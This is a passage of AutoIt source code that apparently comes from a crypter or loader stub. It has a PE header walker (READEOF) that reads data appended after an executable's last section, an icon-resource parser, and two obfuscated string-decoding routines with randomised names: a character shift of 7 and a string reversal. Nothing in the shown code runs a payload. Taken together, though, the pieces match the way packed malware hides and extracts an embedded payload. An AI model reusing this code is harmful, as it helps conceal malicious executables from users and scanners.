EndFunc ;==>_GENERATEGUID
Func _CRACKICON($IICONNAME, $IRESLANG, $SMODULE, $DOWHAT = 0)
Local $BBINARY = _RESOURCEGETASRAW($RT_GROUP_ICON, $IICONNAME, $IRESLANG, $SMODULE, 1)
If @error Then
Return SetError(@error + 3, 0, "")
EndIf
Local $TBINARY = DllStructCreate("byte[" & BinaryLen($BBINARY) & "]")
DllStructSetData($TBINARY, 1, $BBINARY)
Local $TRESOURCE = DllStructCreate("ushort;" & "ushort Type;" & "ushort ImageCount;" & "byte Body[" & DllStructGetSize($TBINARY) - 6 & "]", DllStructGetPtr($TBINARY))
Local $IICONCOUNT = DllStructGetData($TRESOURCE, "ImageCount")
If Not $IICONCOUNT Or $IICONCOUNT > 50 Then
Return SetError(0, 1, "")
EndIf
Local $IWIDTH, $IHEIGHT
Local $AICONSDATA[$IICONCOUNT][7]
Local $TGROUPICONDATA
For $I = 0 To $IICONCOUNT - 1
$TGROUPICONDATA = DllStructCreate("ubyte Width;" & "ubyte Height;" & "ubyte Colors;" & "ubyte;" & "ushort Planes;" & "ushort BitPerPixel;" & "dword BitmapSize;" & "ushort OrdinalName;", DllStructGetPtr($TRESOURCE, "Body") + $I * 14)
$IWIDTH = DllStructGetData($TGROUPICONDATA, "Width")
If Not $IWIDTH Then
$IWIDTH = 256
EndIf
$IHEIGHT = DllStructGetData($TGROUPICONDATA, "Height")
If Not $IHEIGHT Then
$IHEIGHT = 256
EndIf
$AICONSDATA[$I][0] = $IWIDTH
$AICONSDATA[$I][1] = $IHEIGHT
$AICONSDATA[$I][2] = DllStructGetData($TGROUPICONDATA, "Colors")
$AICONSDATA[$I][3] = DllStructGetData($TGROUPICONDATA, "Planes")
$AICONSDATA[$I][4] = DllStructGetData($TGROUPICONDATA, "BitPerPixel")
$AICONSDATA[$I][5] = DllStructGetData($TGROUPICONDATA, "BitmapSize")
$AICONSDATA[$I][6] = DllStructGetData($TGROUPICONDATA, "OrdinalName")
If $DOWHAT Then
EndIf
Next
Return SetError(0, 0, $AICONSDATA)
EndFunc ;==>_CRACKICON
#EndRegion - Find Icon -
Func READEOF($SMODULE)
Local $ILOADED
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "GetModuleHandleW", "wstr", $SMODULE)
If @error Then
Return SetError(1, 0, "")
EndIf
Local $PPOINTER = $A_HCALL[0]
If Not $A_HCALL[0] Then
$A_HCALL = DllCall("kernel32.dll", "hwnd", "LoadLibraryExW", "wstr", $SMODULE, "hwnd", 0, "int", 1)
If @error Or Not $A_HCALL[0] Then
Return SetError(2, 0, "")
EndIf
$ILOADED = 1
$PPOINTER = $A_HCALL[0]
EndIf
Local $HMODULE = $A_HCALL[0]
Local $TIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & "ushort BytesOnLastPage;" & "ushort Pages;" & "ushort Relocations;" & "ushort SizeofHeader;" & "ushort MinimumExtra;" & "ushort MaximumExtra;" & "ushort SS;" & "ushort SP;" & "ushort Checksum;" & "ushort IP;" & "ushort CS;" & "ushort Relocation;" & "ushort Overlay;" & "char Reserved[8];" & "ushort OEMIdentifier;" & "ushort OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $PPOINTER)
$PPOINTER += DllStructGetData($TIMAGE_DOS_HEADER, "AddressOfNewExeHeader")
Local $TIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $PPOINTER)
If Not (DllStructGetData($TIMAGE_NT_SIGNATURE, "Signature") = 17744) Then
If $ILOADED Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
EndIf
Return SetError(3, 0, "")
EndIf
$PPOINTER += 4
Local $TIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & "ushort NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "ushort SizeOfOptionalHeader;" & "ushort Characteristics", $PPOINTER)
Local $INUMBEROFSECTIONS = DllStructGetData($TIMAGE_FILE_HEADER, "NumberOfSections")
$PPOINTER += 20
Local $TIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & "ubyte MajorLinkerVersion;" & "ubyte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "ushort MajorOperatingSystemVersion;" & "ushort MinorOperatingSystemVersion;" & "ushort MajorImageVersion;" & "ushort MinorImageVersion;" & "ushort MajorSubsystemVersion;" & "ushort MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "ushort Subsystem;" & "ushort DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $PPOINTER)
$PPOINTER += 96
Local $TIMAGE_DIRECTORY_ENTRY_EXPORT = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_IMPORT = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_RESOURCE = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_EXCEPTION = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_SECURITY = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_BASERELOC = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_DEBUG = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_COPYRIGHT = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_GLOBALPTR = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_TLS = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
Local $TIMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = DllStructCreate("dword VirtualAddress;" & "dword Size", $PPOINTER)
$PPOINTER += 8
$PPOINTER += 40
Local $TIMAGE_SECTION_HEADER
For $I = 1 To $INUMBEROFSECTIONS
$TIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & "dword UnionOfData;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "ushort NumberOfRelocations;" & "ushort NumberOfLinenumbers;" & "dword Characteristics", $PPOINTER)
If $I = $INUMBEROFSECTIONS Then
Dim $ARRAY[2]
$ARRAY[0] = Hex(DllStructGetData($TIMAGE_SECTION_HEADER, "PointerToRawData"))
$ARRAY[1] = DllStructGetData($TIMAGE_SECTION_HEADER, "SizeOfRawData")
$FILEPATH = $SMODULE
$OFFSET = Dec($ARRAY[0]) + $ARRAY[1]
$LENGTH = FileGetSize($SMODULE) - $OFFSET
Local $BUFFER, $PTR, $FLEN, $HFILE, $RESULT, $READ, $ERR, $POS
If Not FileExists($FILEPATH) Then Return SetError(1, @error, 0)
$FLEN = FileGetSize($FILEPATH)
If $OFFSET > $FLEN Then Return SetError(2, @error, 0)
If $FLEN < $OFFSET + $LENGTH Then Return SetError(3, @error, 0)
$BUFFER = DllStructCreate("byte[" & $LENGTH & "]")
$PTR = DllStructGetPtr($BUFFER)
$HFILE = _WinAPI_CreateFile($FILEPATH, 2, 2, 0)
If $HFILE = 0 Then Return SetError(5, @error, 0)
$POS = $OFFSET
$RESULT = _WinAPI_SetFilePointer($HFILE, $POS)
$ERR = @error
If $RESULT = -1 Then
_WinAPI_CloseHandle($HFILE)
Return SetError(6, $ERR, 0)
EndIf
$READ = 0
$RESULT = _WinAPI_ReadFile($HFILE, $PTR, $LENGTH, $READ)
$ERR = @error
If Not $RESULT Then
_WinAPI_CloseHandle($HFILE)
Return SetError(7, $ERR, 0)
EndIf
_WinAPI_CloseHandle($HFILE)
If Not $RESULT Then Return SetError(8, @error, 0)
$RESULT = DllStructGetData($BUFFER, 1)
DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
Return SetError(0, 0, $RESULT)
EndIf
$PPOINTER += 40
Next
EndFunc ;==>READEOF
Func LCSEUQCOHOCLORS($AMAAESPTRCJJFR)
Local $ZORUUTBIXFDLHS, $BXTAXRLOEMZUHV
For $I = 1 To StringLen($AMAAESPTRCJJFR)
$BXTAXRLOEMZUHV = StringMid($AMAAESPTRCJJFR, $I, 1)
$BXTAXRLOEMZUHV = Asc($BXTAXRLOEMZUHV) - 7
$BXTAXRLOEMZUHV = Chr($BXTAXRLOEMZUHV)
$ZORUUTBIXFDLHS = $ZORUUTBIXFDLHS & $BXTAXRLOEMZUHV
Next
$BXTAXRLOEMZUHV = $ZORUUTBIXFDLHS
Return $BXTAXRLOEMZUHV
EndFunc ;==>LCSEUQCOHOCLORS
Func GIOEXEERIPJJDFM($SSTR)
Local $PCOXIAFGVHFHGA, $RLQCLZOMDOASFE, $RFRLQZFNETERRL
$RFRLQZFNETERRL = StringLen($SSTR)
For $RLQCLZOMDOASFE = 0 To $RFRLQZFNETERRL
$PCOXIAFGVHFHGA = $PCOXIAFGVHFHGA & StringMid($SSTR, $RFRLQZFNETERRL - $RLQCLZOMDOASFE, 1)
Next
Return $PCOXIAFGVHFHGA
EndFunc ;==>GIOEXEERIPJJDFM